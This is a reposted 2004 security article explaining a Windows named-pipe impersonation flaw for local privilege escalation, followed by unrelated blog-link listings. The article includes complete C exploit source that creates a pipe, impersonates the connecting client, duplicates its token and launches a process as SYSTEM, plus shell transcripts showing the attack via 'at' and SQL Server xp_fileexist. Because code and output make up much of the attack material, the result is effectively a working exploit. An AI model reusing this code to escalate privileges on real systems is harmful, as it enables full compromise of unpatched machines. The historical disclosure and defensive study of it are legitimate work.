Windows named pipes exploitation

原创 2004年06月23日 14:15:00

All latest versions of  Microsoft Windows  family  operation  systems  are
based on  Windows NT kernel. This fact has positive impact for both remote
and local security  of  Windows  world. There  are still  some thin places
though allowing  obtaining  Local System  privileges on the local computer
leading  to  the  full  system  compromise.   Usually   this   is  because
different buffer  overruns in  stack or heap  in system  services, like in
case of  any operation system. However  we should not  forget about system
specific bugs  because of abnormal behavior of system functions. This kind
of  bugs is very  system dependant  and  from  time  to time is discovered
in different OS. Of cause, Windows is not exception.

Specific bugs are  usually having impact on local users. Of cause, this is
not a kind  of axiom,  but local  user  has  access  to  larger  amount of
the  system  API  functions comparing with  remote one. So, we are talking
about  possibility   for   local  user  to  escalate  his  privileges.  By
privilege escalation we  mean obtaining privileges of Local System to have
no  limitations  at  all. Now  there  are few  ways to get it, I will talk
about new one.

According to  MSDN  to launch  application with different account one must
use  LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()'  task  is to  set
SE_ASSIGNPRIMARYTOKEN_NAME   and   SE_INCREASE_QUOTA_NAME  privileges  for
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges.  Actually  'Administrator' account
have no enough  right  for  CreateProcessAsUser().  So,  to  execute  some
application,  e.g.  'cmd.exe'  with  LocalSystem  account  we must have it
already. Since  we do not have username and password of privileged user we
need another solution.

In this paper  we will obtain  'LocalSystem'  privileges  with file access
API. To open file Windows application call CreateFile()  function, defined
below:

HANDLE CreateFile(
        LPCTSTR               lpFileName,
        DWORD                 dwDesiredAccess,
        DWORD                 dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD         dwCreationDisposition,
        DWORD                dwFlagsAndAttributes,
        HANDLE                hTemplateFile
        );

To open file we must call something like

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

For  advanced  Windows  programmer  it's clear that this function has more
application  rather  than  only opening   ordinary   files.  It's  used to
openor create  new  files, directories,  physical  drives,  and  different
resources for  interprocess  communication,  such as pipes  and mailslots.
We will be concerned with pipes.

Pipes  are  used for one-way  data exchange  between  parent  and child or
between  two  child  processes.  All  read/write   operations are close to
thesame file operations.

Named  Pipes are used  for two-way data exchange between client and server
or between two client  processes.  Like pipes they are like files, but can
be used to exchange data on the network.

Named pipe creation example shown below:

  HANDLE hPipe = 0;
  hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                           PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named  pipe's  name can  vary,  but  it  always  has   predefined  format.
The example of  valid name  is  '//./pipe/GetSys'.   For  Windows,  '//./'
sequence always precedes  filename,  e.g.  if  "C:/boot.ini"  is requested
system  actually   accesses  '//./C:/boot.ini'. This  format is compatible
with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be
a way to full  application to access  named pipe  instead of user supplied
file. For example, if we created named pipe  "//./pipe/GetSys" we  can try
to force application to access "//ComputerName/pipe/GetSys". It gives us a
chance to manipulate with access token.

Impersonation token is  access  token  with  client's privileges. That is,
this is possibility for server to do  something on client's behalf. In our
case server  is named pipe we created. And it becomes possible  because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get  this privilege.  If  client  application  has privileges of local
system we  can get access  to registry,  process and memory management and
another possibilities not available to ordinary user.

This attack can be easily realized in practice.  Attack  scenario for this
vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created.

2. Impersonate client

Because  we assume client  application has system rights we will have them
too.

3. Obtain required rights. In fact, we need only

 - SE_ASSIGNPRIMARYTOKEN_NAME 
 - SE_INCREASE_QUOTA_NAME

 - TOKEN_ALL_ACCESS
 - TOKEN_DUBLICATE

This is all  we need for  CreateProcessAsUser() function. To obtain rights
we  need  new  token  with  TOKEN_ALL_ACCESS privelege.  And we can do it,
because we have privileges of client process.

Execute code of our choice
       

It could be registry  access,  setting  some hooks or random commands with
system privileges. Last one is  most  interesting,  because we can execute
standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system
 privileges. I  back  to  beginning,  but  this  time  I have all required
privileges and 'LocalSystem' is under my thumb.

There  is no problem to realize  this approach. As an example, we will use
working  exploit   by    wirepair at sh0dan.org    based   on   the   code
of maceo at dogmile.com.

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;

   if (argc != 2) {
          fprintf(stderr, "Usage: %s <progname>/n", argv[0]);
          return 1;
   }

   memset(&si,0,sizeof(si));
   sprintf(szPipe, "////.//pipe//GetSys");

// create named pipe"//./pipe/GetSys"

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:/n  %s/n", szPipe);
     return 2;
   }

   printf("Created Named Pipe: ////.//pipe//GetSys/n");

// initialize security descriptor to obtain client application
// privileges
   pSD = (PSECURITY_DESCRIPTOR)
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection.../n");

// wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate.../n");

// impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe./n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token.../n");

// obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(),
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u/n", dw);
                     CloseHandle(hToken);
                     return 4;
   }
   }
  
   printf("Duplicating Token.../n");

// obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation,
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token/n");
          printf("GetLastError: %u/n", dw);
          return 5;
   }

// fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s/n", szUser);
  
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop         = NULL;
   si.dwFlags         = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s/n", argv[1]); 

// create new process as user
   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
        &sa,true, NORMAL_PRIORITY_CLASS |
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d/n", GetLastError());
   }

// wait process to complete and exit
   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
 
   return 0;
}

This vulnerability gives  a  chance for us to obtain  system privileges on
local computer. The  only  condition  is system  process  must access this
channel. This  condition  is  easy  to  reproduce  with  system  services.
For example:

[shell 1]

>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive //ComputerName/pipe/GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Now we have new instance  of cmd.exe with system privileges. It means user
can easily obtain  privileges  of local system.  Of cause  reproduce  this
situation is easy only in case, there is a service, which can access files
on  user request.  Because  'at' command  requires  at  least  power  user
privileges  and may be used  to launch cmd.exe directly, without any named
pipe this example is useless.

In practice, this vulnerability may be exploited for privilege  escalation
by  the local user if Microsoft SQL Server  is installed. SQL  server runs
with system privileges and may be accessed with unprivileged user.  @Stake
reported vulnerability in  xp_fileexist  command. This command  checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:

[shell 1]

>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...

[shell 2]

C:/>isql -U user
Password:
1> xp_fileexist '//ComputerName/pipe/GetSys'
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

At the   end,  it's good  to  point  that  this  vulnerability  exists  in
Windows   NT/2000/XP   and  is   patched   with   Windows   2000  SP4  and
on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.


[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe

NamedPipe,利用命名管道实现进程间通信

管道是一种用于在进程间共享数据的机制,其实质是一段共享内存. Windows系统为这段共享的内存设计采用数据流I/0的方式来访问. 命令管道可以在任意进程间通信,通信是双向的,任意一端都可读可写,...
  • wangyao1052
  • wangyao1052
  • 2015年04月18日 19:59
  • 1553

增强学习中,exploration和exploitation时常用的action选择方法

http://blog.greenwicher.com/2016/12/24/drl-from_mab_to_mcts/ 基本算法 具体的算法实施请见我的Github 或者...
  • mmc2015
  • mmc2015
  • 2017年02月05日 14:18
  • 1184

[Python监控]psutil模块简单使用

安装很简单 pip install psutil 官网地址为 https://pythonhosted.org/psutil/ (文档上有详细的api) github地址为 http...
  • lzz957748332
  • lzz957748332
  • 2014年12月12日 11:13
  • 10676

Windows API 进程间通信,管道(Pipe)

Windows API 进程间通信,管道(Pipe)     管道是一种用于在进程间共享数据的机制,其实质是一段共享内存。Windows系统为这段共享的内存设计采用数据流I/0的方式来访问。...
  • xingzheouc
  • xingzheouc
  • 2015年05月07日 12:39
  • 2225

Windows7安装numpy、scipy和matplotlib时遇到的问题及解决办法

我感觉如果有多维世界,那空间和时间是最容易跨越的了。 难以想象在高维度世界来看我们。 举个最简单的栗子,二维世界如果是有限的,其上有两个处于对角位置的点,这两个点想要在二维空间通信,那就得跨越整个空间...
  • github_35768306
  • github_35768306
  • 2016年08月02日 18:11
  • 4590

Python处理验证码第一篇(pytesser初探及报错处理)

前言:春节期间,无法全身心投入地去写爬虫,那就玩玩验证码吧,应该比较有趣!首次接触验证码识别,用pytesser接触一下最简单的验证码先,代码参照:使用python以及工具包进行简单的验证码识别。具体...
  • Bone_ACE
  • Bone_ACE
  • 2016年02月10日 18:19
  • 7918

深度学习(十)keras学习笔记

keras学习笔记 原文地址:http://blog.csdn.net/hjimce/article/details/49095199 作者:hjimce keras与torch7的使用非常...
  • qq_26569761
  • qq_26569761
  • 2016年04月07日 18:57
  • 3238

windows 下Keras中神经网络可视化模块安装配置方法

这个模块安装的坑比较多,所以整理如下: 请按如下顺序安装: sudo pip install graphviz(安装接口) sudo apt-get install graphviz(安装软件本身...
  • huixingshao
  • huixingshao
  • 2017年05月02日 14:31
  • 1150

Ubuntu17.04环境下jupyter-notebook报错无法启动和coco和pycocotools库安装

jupyter notebook自带的python3.5用不了 参考文章:https://www.douban.com/note/638891502/ 版权归作者所有,任何形式转载请联系作者。...
  • qiqzhang
  • qiqzhang
  • 2018年01月06日 12:38
  • 79

windows平台下人工智能平台TensorFlow安装--(学习笔记)

背景前提:人工智能各大公司都推出了开源产品,以下排名不分先后。 国外人工智能开源项目: Caffe CNTK(微软) Deeplearning4j DMTK(微软) H20 Mahout MLlib ...
  • gzy11
  • gzy11
  • 2017年03月08日 19:32
  • 870
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Windows named pipes exploitation
举报原因:
原因补充:

(最多只允许输入30个字)